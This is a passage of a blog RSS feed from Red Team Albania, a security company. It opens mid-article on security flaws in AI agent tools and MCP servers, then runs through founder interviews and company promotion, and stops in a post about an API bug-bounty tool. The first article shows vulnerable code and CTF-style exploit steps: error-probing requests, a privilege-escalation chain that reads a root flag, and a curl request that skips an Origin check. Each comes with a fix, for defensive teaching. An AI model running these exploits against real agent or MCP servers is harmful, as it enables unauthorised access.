src="https://cdn-images-1.medium.com/max/1024/1*r_TLzpxG1g48kcWIgdbANA.png" /></figure><p>This generalizes far past integers. Any allowed output type that can encode arbitrary data is a smuggling channel: a float via its bit pattern, a boolean leaked one bit per query, a list length, an HTTP status code, the number of results returned. If any serialization of the data passes the filter, all of the data passes.</p><p><strong>The fix</strong> is the boring correct one. Do not expose an eval sink at all. If a tool must return computed values, validate output by <em>content and provenance</em>, not by type: does this value derive only from permitted sources. And treat &quot;the result is shaped like something safe&quot; as meaningless, because shape is not meaning.</p><h3>Pattern 2: error messages as a schema oracle</h3><p>Agent tools almost always have a hidden contract. Required parameters. Allowed enum values. Internal state they expect to be in. Developers lean on that contract being undocumented, as if obscurity were access control.</p><p>It is not, and attackers rebuild hidden contracts the same way they always have: send malformed input, read the error, repeat. This is blind SQL injection energy, verbose-error recon, the oldest game there is. The only new part is that the endpoint happens to be a tool exposed to a language model.</p><p>Here is a tool that is “helpful” with its errors:</p><pre># Vulnerable tool with talkative validation<br>def process_task(params: dict):<br>    if &quot;cache_task_id&quot; not in params:<br>        raise ValueError(&quot;missing required field: cache_task_id&quot;)<br>    if params.get(&quot;status&quot;) != &quot;SAFE&quot;:<br>        raise ValueError(&quot;status must be SAFE to proceed&quot;)<br>    key = INTERNAL_KEYS[params[&quot;cache_task_id&quot;]]   # KeyError leaks the key format<br>    ...</pre><p>Three probes reconstruct the entire interface, and then some.</p><pre>send {}                                   -&gt; &quot;missing required field: cache_task_id&quot;<br>                                             (you now know a field name)<br>send {&quot;cache_task_id&quot;: &quot;x&quot;}               -&gt; &quot;status must be SAFE to proceed&quot;<br>                                             (a second field, an allowed value, a state machine)<br>send {&quot;cache_task_id&quot;: &quot;x&quot;,               -&gt; KeyError: &#39;x&#39;<br>      &quot;status&quot;: &quot;SAFE&quot;}                       and a traceback exposing the key format<br>                                             GRANT_ROOT_READ_FOR_SESSION_&lt;n&gt;<br>                                             (an internal privileged secret format)</pre><p>Three malformed requests gave up a field name, a second field, an enum value, an implied state machine, and the exact format of an internal privileged key. Hold on to that last one. It becomes the ammunition for Pattern 3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oIQpY9uiqnbnVsW_d1qwtw.png" /></figure><p><strong>The fix</strong> is as old as the attack. Fail closed. Log the detail server-side where only you can read it. Return a generic, opaque error to the caller. A stack trace is a love letter to an attacker.</p><h3>Pattern 3: tool input trusted straight into a privileged slot</h3><p>The highest-impact agent bugs I have seen are also the dullest. A tool takes attacker-controlled input and drops it, unvalidated, into something privileged.</p><p>Picture a multi-agent system: a coordinator fronting a few worker agents, a privileged read_root_flag that only works for an elevated session, and a cache tool that is supposed to store structured updates.</p><pre># Vulnerable: assigns raw uploaded bytes verbatim as a session capability key<br>def process_cache_update(cache_task_id: str, target_session: int):<br>    blob = UPLOADS[cache_task_id]          # attacker-controlled file bytes<br>    SESSION_KEYS[target_session] = blob    # assigned verbatim, never parsed<br>    return {&quot;status&quot;: &quot;updated&quot;}<br>def read_root_flag(session_id: int):<br>    # ADMIN_GRANT = b&quot;GRANT_ROOT_READ_FOR_SESSION_778&quot;<br>    if SESSION_KEYS.get(session_id) == ADMIN_GRANT:<br>        return open(&quot;/root/flag&quot;).read()<br>    return {&quot;error&quot;: &quot;insufficient privilege&quot;}</pre><p>The tool is named process_cache_update, which implies it parses a structured cache update. It does not. It copies the raw bytes of your uploaded file straight into a session&#39;s capability slot. Combine that with the key format you leaked in Pattern 2, and the chain writes itself.</p><pre># 1. upload a file whose entire body is the bare grant string<br>upload(&quot;payload&quot;, b&quot;GRANT_ROOT_READ_FOR_SESSION_778&quot;)<br># 2. have the cache tool assign those raw bytes as session 778&#39;s key<br>process_cache_update(cache_task_id=&quot;payload&quot;, target_session=778)<br># 3. read the flag as the now-privileged session 778<br>read_root_flag(session_id=778)      # -&gt; the root flag</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S2-_NB0TpqGcKDzGKUNJtQ.png" /></figure><p>This is a textbook confused deputy. A low-privilege path (upload a file, call a cache tool) drives a privileged operation (grant elevated session access). The research community formalized exactly this for multi-agent LLM systems in a January 2026 paper on privilege escalation in agent systems, and Johann Rehberger documented a cross-agent privilege escalation vector in late 2025. What is worth noticing is that almost all of that work frames the entry point as prompt injection: one agent gets injected and manipulates another through natural language.</p><p>This chain never touches the model. The bug is insecure object handling, and the exploit is pure data.</p><p><strong>The fix</strong> is to parse and validate every tool parameter as structured, untrusted input, and to never assign caller-supplied bytes into an authorization slot. Capability tokens should be minted and checked by the server, never supplied by the caller. Least privilege on every tool, so that even a successful write cannot reach /root/flag.</p><h3>Pattern 4: the transport trusts a header the client controls</h3><p>Agents increasingly talk to their tools over the Model Context Protocol (MCP), and MCP is where classic transport and protocol bugs are reappearing at high speed.</p><p>Here is one that keeps coming back. A server tries to stop browser-based abuse (think DNS rebinding, or a malicious website driving a localhost MCP server) by checking the Origin header. The logic assumes the caller is a browser, because browsers always attach Origin to cross-site requests and scripts cannot suppress it.</p><pre># Vulnerable MCP endpoint guard<br>@app.post(&quot;/mcp&quot;)<br>def mcp(req):<br>    origin = req.headers.get(&quot;Origin&quot;)<br>    if origin and origin not in ALLOWLIST:<br>        return 403, &quot;Invalid Origin header&quot;<br>    # a malicious website&#39;s fetch() always sends Origin, so it is blocked...<br>    return handle_jsonrpc(req)</pre><p>Read the condition carefully: it only blocks when Origin is <em>present and</em> disallowed. The entire defense rests on the attacker being a browser. A direct client is not a browser. It simply does not send the header.</p><pre># Exploit: omit Origin entirely, bring valid session cookies, speak JSON-RPC directly<br>curl -s https://target/mcp \<br>  -b cookie.txt \<br>  -H &#39;Content-Type: application/json&#39; \<br>  -d &#39;{&quot;jsonrpc&quot;:&quot;2.0&quot;,&quot;id&quot;:1,&quot;method&quot;:&quot;initialize&quot;,&quot;params&quot;:{&quot;protocolVersion&quot;:&quot;2025-06-18&quot;,&quot;capabilities&quot;:{}}}&#39;<br># handshake succeeds, because Origin is absent, not disallowed</pre><p>From there you enumerate and act, even when the agent’s own UI swore there were no tools available.</p><pre>{&quot;method&quot;:&quot;resources/list&quot;}   -&gt; resource://flag (locked), plus a decoy<br>{&quot;method&quot;:&quot;tools/list&quot;}       -&gt; unlock_flag        (the UI lied)<br>{&quot;method&quot;:&quot;tools/call&quot;,  &quot;params&quot;:{&quot;name&quot;:&quot;unlock_flag&quot;}}<br>{&quot;method&quot;:&quot;resources/read&quot;,&quot;params&quot;:{&quot;uri&quot;:&quot;resource://flag&quot;}}   -&gt; flag</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sFa_fNip553bgzS5TcZt6w.png" /></figure><p>This is a 2010-era web bug, trusting a spoofable, optional header, running in 2026 AI infrastructure. And it is not an isolated curiosity. A 2025 study of more than 280 popular MCP servers found risk compounding sharply as systems chain multiple servers together. An April 2025 paper demonstrated major exploits across MCP deployments and shipped an auditing scanner. A run of CVEs through 2025 assigned command injection and related flaws to real, widely used MCP servers. Most of these are not AI bugs at all. They are authentication, isolation, and transport-trust failures wearing an AI badge.</p><p>It helps to see where the transport sits in the overall MCP picture. Hosts run clients, clients speak JSON-RPC to servers over stdio or HTTP, and the servers are what actually touch your files, APIs, and databases. The transport layer, the thing Pattern 4 abuses, is the connective tissue in the middle:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/0*ZDfKtoP1hTStlJ33" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1235e10c1bba" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RTA’s Infrastructure: How Mateos Built the Infrastructure Behind It]]></title>
            <link>https://medium.com/@tech_with_orgito_/rtas-infrastructure-how-mateos-built-the-infrastructure-behind-it-58d29722f62e?source=rss-6a704e23aba8------2</link>
            <guid isPermaLink="false">https://medium.com/p/58d29722f62e</guid>
            <dc:creator><![CDATA[Orgito RTA]]></dc:creator>
            <pubDate>Sun, 30 Aug 2026 13:21:53 GMT</pubDate>
            <atom:updated>2026-08-30T13:21:53.110Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YbFqHA5flgLEziwBm43ecQ.jpeg" /></figure><h3>Background &amp; Origins</h3><p><strong>How did you end up building a red team company if your role leans backend engineering?</strong> RTA needed real infrastructure to be credible: a bounty aggregator, a CTF platform, an Academy with hands-on practice environments, admin tooling. Someone had to build that side while the offensive-security work happened. I gravitated toward being that person, the security company needed a foundation as solid as the expertise it was selling.</p><p><strong>What’s your technical background, and how did backend engineering lead you into cybersecurity?</strong> Java/Spring Boot and Rust on the backend, comfortable across the infra stack: Kubernetes, Docker, CI/CD, identity systems. Cybersecurity wasn’t the starting point; building systems that have to hold up under real adversarial attention was. A red team company is one of the few places where your own backend’s security isn’t optional, it’s the product’s credibility.</p><p><strong>What was the moment you and your co-founders decided to actually start RTA?</strong> There wasn’t a single spark, it came out of a presentation we’d been developing for a long time. That process forced us to actually define what we’d need technically and operationally to make this real, not just talk about it in the abstract. Once we had that plan, we started executing incrementally, a little more of the actual build each day, rather than waiting for some perfect starting point.</p><p><strong>How did your time at 42 Tirana shape the way you approach backend work today?</strong> 42’s project-based, no-lecture model rewards figuring things out under real constraints rather than memorizing answers, that’s basically every debugging session in this project: work the problem methodically, verify each layer instead of guessing, don’t assume the first plausible explanation is the right one.</p><h3>Role at RTA</h3><p><strong>What exactly are you building and maintaining for RTA?</strong> The full backend: a Spring Boot gateway (auth, admin panel, public-facing forms) fronting a Rust service that handles fast data processing and scraping. Bounty aggregation across three real platforms, CTF event infrastructure, the Academy’s practice-environment pipeline, and now the identity system tying it all together.</p><p><strong>How is backend engineering different when the product is a security company rather than a typical SaaS business?</strong> The people using your product are trained to find what you missed. A misconfigured permission or a forgotten firewall rule isn’t just a bug, it’s the exact class of thing RTA’s own clients get hired to find. That raises the bar on things a normal SaaS team might deprioritize: least-privilege scoping, content filtering, session isolation.</p><p><strong>What’s the tech stack behind RTA’s platform, and why did you choose it?</strong> Java/Spring Boot for the security-and-auth-facing gateway: mature ecosystem, strong typing, Spring Security genuinely earns its reputation. Rust for the data-processing side: fast, memory-safe, good fit for concurrent scraping. Postgres (via Supabase) for persistence, Redis for caching/rate-limiting, Kubernetes with Argo Rollouts for deployment, and Keycloak for identity, chosen specifically so we’re not the ones responsible for getting password storage and auth security right from scratch.</p><h3>Building the Infrastructure</h3><p><strong>How much of the CTF/Academy infrastructure did you build yourself?</strong> Essentially all of it, end to end: the bounty scrapers, the CTF event pipeline, and, most recently, the full Academy practice-environment stack. That last piece meant integrating Kasm Workspaces (isolated, disposable VM sessions) with Keycloak (identity) and the Java gateway, including dynamic per-user provisioning, session quotas, and hardening so a training environment can’t be abused.</p><p><strong>What’s been the hardest technical problem you’ve had to solve?</strong> Genuinely, the Kasm to Keycloak integration. It surfaced a real, obscure bug: the JVM defaulted to resolving localhost over IPv4 while curl defaulted to IPv6, silently routing identical requests to two different backends, which looked like nothing was working for most of a session before the actual cause became visible. That, plus deploying Keycloak to a real production server from scratch: Docker networking fundamentals, Traefik/DockerAPI version incompatibilities, a multi-layer cloud firewall (OS-level and cloud-level, on two different VCNs at one point), every layer of a real production deployment, debugged one at a time.</p><p><strong>Security companies are high-stakes environments to write code for, how does that change your approach?</strong> It means declining shortcuts that would work fine elsewhere. When a scraper hit a platform actively defended by Cloudflare’s bot protection, the tempting move was a headless-browser bypass: technically doable, but that’s deliberately defeating an anti-automation control, not just finding an unlocked side door. We didn’t build it. Same instinct applies to how user data and session isolation get handled in the Academy environment.</p><p><strong>How do you handle the tension between shipping fast and holding your own code to security standards?</strong> By being explicit about what’s temporary. Local development uses dev-only shortcuts: a trust-all SSL bypass, relaxed env vars, clearly commented and tracked on a running checklist, with a hard rule that none of it goes near production untouched. Speed comes from not re-litigating settled decisions; safety comes from never letting “it works locally” quietly become “it’s fine in prod.”</p><h3>Team &amp; Culture</h3><p><strong>What’s it like being the engineer among co-founders from an offensive-security background?</strong> It’s genuinely one of the better parts of this. My co-founders are direct and communicative, which means the collaboration works both ways, I bring the engineering discipline, and I’ve picked up real offensive-security intuition from them in return. It’s made me a more well-rounded engineer than I’d be building this alone.</p><p><strong>How do you and Orgito divide responsibilities day to day?</strong> We stay in sync daily, on the technology choices, the methodology, and whatever’s changed since the last conversation. Before any responsibility gets built out, we’ve already talked through it in enough detail that there’s no ambiguity about who owns what or why we’re doing it that way.</p><p><strong>What does a backend engineer bring to a red team company that a purely offensive-focused team might miss?</strong> The discipline of building things that are correct and maintainable, not just clever. Offensive security is about finding the one flaw; backend engineering at this level is about not leaving one. Those are different mindsets, and a red team company genuinely benefits from having both in the room.</p><h3>The Bigger Picture</h3><p><strong>RTA launches September 1st, what has the lead-up looked like from your side?</strong> Compressed and real. The Academy’s practice-environment pipeline, login, identity, per-user disposable VMs, session hardening, went from an idea to a fully working, production-deployed system in a handful of sessions, alongside migrating to canary deployments so future changes ship safely under real traffic. A lot of it was genuine infrastructure debugging, not feature-building, the unglamorous work that has to be right before launch.</p><p><strong>Where do you see RTA’s technical infrastructure a year from now?</strong> Fully on Keycloak for identity across the whole platform, not just Academy, real auto-scaling for practice environments instead of a single fixed server, and canary deployments as the default way anything ships, not a novelty we just adopted.</p><p><strong>What advice would you give to other engineers in the Balkans who want to build products, not just work for companies elsewhere?</strong> Build the boring infrastructure. Anyone can prototype a feature; fewer people will sit through a multi-hour firewall-and-DNS debugging session to get a real deployment working end to end. That patience is the actual differentiator between a demo and a product.</p><p><strong>What’s one thing about running a startup that surprised you, coming from a pure engineering mindset?</strong> How much of “engineering” turns out to be resource-constrained decision-making, not writing code, deciding whether a free-tier VM is good enough for now, whether to scale down one service to afford another, when a workaround is genuinely fine versus a real risk to revisit later.</p><p><strong>Any final thoughts on what makes RTA’s engineering culture different from what people might expect?</strong> We don’t treat “it works” as the finish line. A feature isn’t done until we’ve asked what happens when it’s attacked, misconfigured, or under real load, and we’re willing to decline a shortcut (like bypassing a platform’s bot protection) even when it would save time, because that’s exactly the standard we’re asking our clients to hold themselves to.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=58d29722f62e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Inside the Mind of a Red Teamer: A Conversation with Orgito, Co-Founder & Security Researcher at…]]></title>
            <link>https://medium.com/@tech_with_orgito_/inside-the-mind-of-a-red-teamer-a-conversation-with-orgito-co-founder-security-researcher-at-9e359fc1b3da?source=rss-6a704e23aba8------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e359fc1b3da</guid>
            <dc:creator><![CDATA[Orgito RTA]]></dc:creator>
            <pubDate>Tue, 25 Aug 2026 12:43:16 GMT</pubDate>
            <atom:updated>2026-08-25T12:43:16.978Z</atom:updated>
            <content:encoded><![CDATA[<h3>Inside the Mind of a Red Teamer: A Conversation with Orgito, Co-Founder &amp; Security Researcher at RTA</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yl7QYcWG0jSp-4aRlxbmLg.png" /></figure><p><em>Red Team Albania (RTA) is a new offensive security company built in Tirana, bringing red teaming, penetration testing, threat intelligence, and hands-on security training to the Western Balkans. Ahead of the company’s official launch, we sat down with co-founder and security researcher Orgito Leka to talk about the origins of RTA, the philosophy behind the work, and what it takes to build a security company from the ground up in a region that’s still building its cybersecurity culture.</em></p><p><strong>Q: Let’s start with the basics, what is RTA, and why did you start it?</strong></p><p>RTA stands for Red Team Albania. At its core, we’re an offensive security company, we simulate real attacks against organizations so they can find and fix their weaknesses before an actual attacker does. We started it because we saw a gap: the Western Balkans has a growing pool of technical talent, but very few companies here are doing serious, standards-driven offensive security work. We wanted to build something that could hold its own against international firms while staying rooted in this region.</p><p><strong>Q: You’re based in Tirana. What’s it like building a cybersecurity company there right now?</strong></p><p>It’s early days for the ecosystem, honestly. There’s real talent, a lot of it coming out of programs like 42 Tirana, but the market itself is still maturing. That’s part of why we’re doing this. We’re not just trying to run engagements; we want to help grow the culture around security here, which is why training and community are baked into what we do, not an afterthought.</p><p><strong>Q: Tell us about the team. RTA isn’t a huge company, how did it come together?</strong></p><p>We’re a small team, three of us, and we all came up through 42 Tirana. That shared background matters. We didn’t just meet each other; we went through the same intense, project-based, no-instructors way of learning, which shapes how you approach problems. When you’re used to figuring things out without someone handing you the answer, that translates directly into how you approach a red team engagement, you’re constantly probing, testing assumptions, and adapting.</p><p><strong>Q: What services does RTA actually offer?</strong></p><p>We work across five lines: Red Teaming, Penetration Testing, Threat Intelligence, Research, and something we call RTA Academy, which covers training, CTFs, and internships. On the engagement side, our core packages are penetration testing, full red team operations, AI and LLM security assessments, and security audits paired with threat intelligence work.</p><p>The AI and LLM security piece is something we’re particularly focused on. As more companies bolt AI features onto their products, the attack surface changes in ways a lot of traditional security testing doesn’t cover. We wanted to make sure we weren’t just offering yesterday’s services.</p><p><strong>Q: Walk us through how an engagement actually runs.</strong></p><p>We follow a six-phase methodology: Scoping, Reconnaissance, Exploitation, Post-Exploitation, Reporting, and Retest. It sounds straightforward on paper, but the discipline is in not skipping steps under time pressure. Scoping is where a lot of engagements actually succeed or fail, if you don’t nail down exactly what’s in bounds and what the client actually needs answered, everything downstream suffers.</p><p>The retest phase is one people sometimes treat as optional, and we don’t. Finding vulnerabilities is only half the job. Confirming that what was fixed is actually fixed is what makes the whole engagement worth something to the client.</p><p><strong>Q: What standards or frameworks does RTA build its work around?</strong></p><p>We align with MITRE ATT&amp;CK, OWASP’s WSTG and ASVS, PTES, NIST SP 800–115, and CVSS v3.1 for scoring. And we follow coordinated disclosure practices, that’s non-negotiable for us. Working against recognized frameworks isn’t just about credibility with clients; it keeps our own methodology honest and repeatable instead of ad hoc.</p><p><strong>Q: You mentioned RTA Academy. Why put training and internships into a red team company’s business model?</strong></p><p>Because the talent pipeline doesn’t build itself. If we want a real offensive security scene in this region, we have to help create the next generation of people who can do this work, not just hire from an already-thin pool. RTA Academy is our way of doing that, training, CTF events, and internships that give people a real, hands-on way in, rather than just theory.</p><p><strong>Q: Can you talk about the launch event?</strong></p><p>We’re launching September 1st at 42 Tirana, a one-hour presentation followed by a one-hour CTF, open to 42 students. We wanted the launch itself to reflect what RTA is about: not just an announcement, but something people actually get to participate in and test their skills against.</p><p><strong>Q: Any final thoughts for people watching RTA get off the ground?</strong></p><p>Just that we’re building this deliberately and for the long term. Offensive security is a trust business, clients are letting us try to break into their systems, which means everything we do has to be rigorous, methodical, and disclosed responsibly. That’s the standard we’re holding ourselves to from day one.</p><p><em>RTA (Red Team Albania) is an offensive security company based in Tirana, offering red teaming, penetration testing, threat intelligence, research, and security training across the Western Balkans.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e359fc1b3da" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Red Team Albania: Building the Western Balkans’ Offensive Security Frontline]]></title>
            <link>https://medium.com/@tech_with_orgito_/red-team-albania-building-the-western-balkans-offensive-security-frontline-47f6710332a6?source=rss-6a704e23aba8------2</link>
            <guid isPermaLink="false">https://medium.com/p/47f6710332a6</guid>
            <dc:creator><![CDATA[Orgito RTA]]></dc:creator>
            <pubDate>Wed, 12 Aug 2026 12:28:59 GMT</pubDate>
            <atom:updated>2026-08-12T12:28:59.383Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KTse5yIuN3u_e2EwEZ-3eA.jpeg" /></figure><h3>A Region Under Siege, and Why That Matters</h3><p>The Western Balkans is no longer a peripheral concern in the global cybersecurity conversation. It is a live battlefield.</p><p>In the first half of 2026 alone, Albania’s National Cyber Security Authority (AKSK) recorded <strong>14,628,595 cyberattack attempts</strong> against the country’s information infrastructure, a figure equivalent to roughly <strong>56 attack attempts every single minute</strong>, day and night, for six consecutive months. Of those attempts, 54% targeted important information infrastructure, while 46% were aimed directly at critical infrastructure: finance, energy, public administration, and digital government services.</p><p>This is not an abstract statistic. Since 2022, Albania has weathered some of the most consequential state-sponsored cyber operations in Europe, including sophisticated wiper attacks attributed to Iranian state actors that attempted to erase government systems outright. Neighboring Montenegro has seen government institutions crippled for weeks, delaying social welfare payments. Kosovo’s telecommunications infrastructure has been targeted directly. North Macedonia went years without a national cybersecurity strategy at all. Across the region, a pattern repeats itself: institutions react to breaches instead of preparing for them.</p><p>At the same time, something notable is happening. Albania climbed from <strong>54th to 9th place globally</strong> in the 2026 National Cyber Security Index, one of the largest single-country jumps ever recorded on that index, a signal that national policy, institutional capacity, and public-sector cyber maturity are accelerating fast. The question the region now faces is whether the private-sector offensive security ecosystem, the people who actually break into systems before criminals do, can keep pace with that ambition.</p><p>That is the gap Red Team Albania was built to close.</p><h3>What Red Team Albania Is</h3><p>Red Team Albania (RTA) is an offensive security company founded in Tirana in early 2026, built to give organizations across Albania and the wider Western Balkans access to the kind of adversarial security testing that has historically been available almost exclusively through Western European or American firms, at Western European prices and Western European turnaround times.</p><p>RTA’s premise is simple and, in security, timeless: the only reliable way to know whether your defenses will hold against a real adversary is to have a real adversary, an ethical, contracted, disciplined one, try to break them first. Firewalls, compliance checklists, and vulnerability scanners tell you what <em>should</em> be secure. Offensive testing tells you what <em>actually is</em>.</p><p>The company was co-founded by Orgito Leka, a security researcher also behind RTA Academy, alongside a small founding team drawn from 42 Tirana, one of the region’s most demanding software engineering programs. RTA is scheduled to formally launch on <strong>September 1, 2026</strong>, with a public event combining a technical presentation and a live Capture-the-Flag competition for the 42 Tirana community.</p><h3>The Discipline Behind the Offense</h3><p>What separates a credible offensive security firm from a liability is process. Anyone can run automated scanners and hand over a PDF of false positives. RTA’s engagements instead follow a structured, six-phase methodology designed to mirror how real adversaries actually operate, while staying fully within legal and contractual boundaries:</p><ol><li><strong>Scoping</strong>, defining targets, rules of engagement, and boundaries with the client before any technical work begins.</li><li><strong>Reconnaissance</strong>, mapping the attack surface the way a genuine threat actor would, using open-source intelligence and technical enumeration.</li><li><strong>Exploitation</strong>, attempting to actively compromise identified weaknesses, not just flag them.</li><li><strong>Post-Exploitation</strong>, assessing what a real attacker could reach <em>after</em> the initial breach: lateral movement, privilege escalation, data exposure.</li><li><strong>Reporting</strong>, translating technical findings into a document that both engineers and executives can act on, with clear severity ratings and remediation guidance.</li><li><strong>Retest</strong>, verifying that fixes actually close the gaps, rather than treating the initial report as the end of the relationship.</li></ol><p>This methodology is anchored to internationally recognized frameworks rather than improvised judgment calls: <strong>MITRE ATT&amp;CK</strong> for adversary tactics and techniques, the <strong>OWASP Web Security Testing Guide and Application Security Verification Standard</strong> for application-layer assessments, the <strong>Penetration Testing Execution Standard (PTES)</strong>, <strong>NIST SP 800–115</strong> for technical security testing, and <strong>CVSS v3.1</strong> for consistent, defensible severity scoring. Findings are handled under coordinated disclosure principles, a non-negotiable baseline for any firm operating in this space.</p><h3>Five Service Lines, One Objective</h3><p>RTA structures its work around five interconnected service lines:</p><ul><li><strong>Red Teaming</strong>, full-scope, objective-driven adversary simulation designed to test people, processes, and technology together, not just a single application or network segment.</li><li><strong>Penetration Testing</strong>, focused, scoped assessments of specific systems, applications, or infrastructure, including dedicated AI and LLM security assessments, an increasingly urgent category as organizations rush to deploy AI systems without understanding their new attack surface.</li><li><strong>Threat Intelligence</strong>, proactive monitoring and analysis of the threats most relevant to an organization’s sector and region, informed by the reality that Western Balkan targets face a distinct threat profile shaped by regional geopolitics.</li><li><strong>Research</strong>, original security research that feeds back into the methodology and tooling used across engagements, rather than relying solely on commercial or off-the-shelf capability.</li><li><strong>RTA Academy</strong>, training, CTF competitions, and internship pathways designed to grow the next generation of Albanian and Balkan offensive security talent, addressing the single biggest long-term constraint on the region’s cybersecurity capacity: people.</li></ul><p>That last point deserves emphasis. Every credible national cybersecurity strategy in the region, Albania’s included, identifies workforce development as a critical gap. Tools and frameworks can be imported; skilled, regionally-rooted practitioners cannot. RTA Academy exists because a sustainable security ecosystem in the Western Balkans has to be built from the ground up, not rented from abroad indefinitely.</p><h3>Why Regional, Not Just Local</h3><p>There is a strategic argument for a Balkans-headquartered offensive security firm that goes beyond convenience or cost. Threat intelligence and reporting from the EU’s diplomatic service, the Balkan Investigative Reporting Network, and independent researchers converge on the same conclusion: cyber threats in this region carry a distinct geopolitical signature, shaped by state-sponsored activity linked to actors including Iran and Russia, and by the region’s uneven pace of digital transformation. A security team that understands that context natively, rather than treating it as a footnote in a generic global threat report, is better positioned to test for the threats that are actually most likely to materialize.</p><p>The European Union has recognized this dynamic directly, committing dedicated “Rapid Response” cybersecurity support to Albania, Montenegro, and North Macedonia specifically to strengthen detection, prevention, and resilience against the region’s rising threat volume. RTA’s ambition is to be the private-sector counterpart to that public-sector effort: the team organizations call not after a breach, but before one, to find out, under controlled, professional, contractually bounded conditions, exactly where they would have failed.</p><h3>The Bottom Line</h3><p>The Western Balkans is digitizing faster than its adversaries are slowing down. Albania alone now absorbs tens of millions of attack attempts every year, against a backdrop of state-sponsored intrusion campaigns, ransomware, and an expanding public-sector digital footprint that includes more than a thousand electronic government services. National policy is responding, Albania’s climb in global cybersecurity rankings proves that. What the region has lacked is a homegrown offensive security capability built to match that ambition on the private-sector side.</p><p>Red Team Albania was founded to be that capability: methodologically rigorous, standards-driven, regionally rooted, and structurally committed, through RTA Academy, to building the talent pipeline the entire ecosystem depends on. The company launches publicly on September 1, 2026. For a region under continuous, measurable, escalating attack, that launch is not a moment too soon.</p><p><em>Sources: AKSK / Euronews Albania (2026); Albanian Telegraphic Agency, National Cyber Security Index 2026; Balkan Insight / BIRN Digital Rights Programme report on Western Balkans cybersecurity (2022–2024); EU External Action Service; U.S. State Department OSAC report on Albania.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47f6710332a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Built an AI-Powered Bug Bounty Assistant That Understands APIs Instead of Just Scanning Them]]></title>
            <link>https://medium.com/@tech_with_orgito_/i-built-an-ai-powered-bug-bounty-assistant-that-understands-apis-instead-of-just-scanning-them-0de1618ae996?source=rss-6a704e23aba8------2</link>
            <guid isPermaLink="false">https://medium.com/p/0de1618ae996</guid>
            <dc:creator><![CDATA[Orgito RTA]]></dc:creator>
            <pubDate>Mon, 27 Jul 2026 19:55:15 GMT</pubDate>
            <atom:updated>2026-07-27T19:55:15.724Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qvGy6ozAwxQoB_yWgn-K_A.jpeg" /></figure><p>GitHub Link: <a href="https://github.com/orgito1015/APIScope-AI">https://github.com/orgito1015/APIScope-AI</a></p><p>Every bug bounty hunter has experienced it.</p><p>You open a new target, discover hundreds of API endpoints, import the documentation into Burp Suite, and then spend hours asking yourself the same question:</p><blockquote><strong><em>Where should I start?</em></strong></blockquote><p>Most existing tools help us discover endpoints, fuzz parameters, or validate API specifications. They’re excellent at automation, but they rarely help answer the question that matters most:</p><p><strong>Which endpoint is most likely to contain a high-impact vulnerability?</strong></p><p>That question inspired me to start building <strong>APIScope AI</strong>.</p><h3>The Problem</h3><p>Modern applications expose enormous API surfaces.</p><p>A single OpenAPI specification can contain:</p><ul><li>Hundreds of endpoints</li><li>Thousands of parameters</li><li>Multiple authentication schemes</li><li>Complex object relationships</li><li>Versioned APIs</li><li>Business logic hidden behind seemingly simple requests</li></ul><p>Current tooling generally focuses on:</p><ul><li>API validation</li><li>Endpoint discovery</li><li>Fuzzing</li><li>Automated scanning</li></ul><p>While those capabilities are essential, experienced bug bounty hunters know that the highest-impact vulnerabilities often come from <strong>understanding the application’s logic</strong>, not simply sending thousands of requests.</p><h3>The Idea</h3><p>Instead of building another scanner, I wanted to build an <strong>API security analyst</strong>.</p><p>The goal is simple:</p><blockquote><em>Give the tool an API specification and let it explain </em>where<em> and </em>why<em> you should investigate.</em></blockquote><p>Rather than listing endpoints, it should think about them.</p><p>For example, instead of producing:</p><pre>PATCH /users/{id}</pre><p>it should explain:</p><ul><li>Why the endpoint is interesting</li><li>Whether it looks vulnerable to BOLA/IDOR</li><li>Whether sensitive fields are writable</li><li>Whether authorisation requirements appear incomplete</li><li>Which manual tests should be performed first</li></ul><h3>How It Works</h3><p>The current architecture is divided into several stages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/0*Bx1tEHjWxRLeHgzA" /></figure><p>Separating deterministic analysis from AI reasoning is an intentional design decision.</p><p>The rule engine gathers objective facts.</p><p>The AI layer provides context, prioritisation, and testing guidance without inventing evidence.</p><h3>Current Features</h3><p>The project currently supports:</p><ul><li>OpenAPI 3.x</li><li>Swagger 2.0</li><li>Postman Collections</li><li>HAR traffic files</li></ul><p>It analyses:</p><ul><li>Authentication requirements</li><li>Missing security definitions</li><li>Possible BOLA/IDOR candidates</li><li>Mass assignment</li><li>Sensitive writable fields</li><li>SSRF candidates</li><li>Missing 401/403 responses</li><li>Endpoint relationships</li><li>Resource hierarchies</li></ul><p>The output can be generated as:</p><ul><li>Markdown</li><li>HTML</li><li>JSON</li><li>AI-ready prompts</li></ul><h3>The Bigger Vision</h3><p>The long-term goal goes far beyond documentation parsing.</p><p>Imagine pointing the tool at a bug bounty target.</p><p>It automatically discovers:</p><ul><li>Swagger</li><li>OpenAPI</li><li>GraphQL</li><li>Postman collections</li><li>Hidden JavaScript endpoints</li><li>Archived APIs</li><li>Historical versions</li><li>Public repositories</li></ul><p>It then builds one complete model of the application’s attack surface.</p><p>Instead of saying:</p><blockquote><em>“Possible IDOR”</em></blockquote><p>it explains:</p><pre>Organisation<br> ├── Users<br> ├── Projects<br> └── 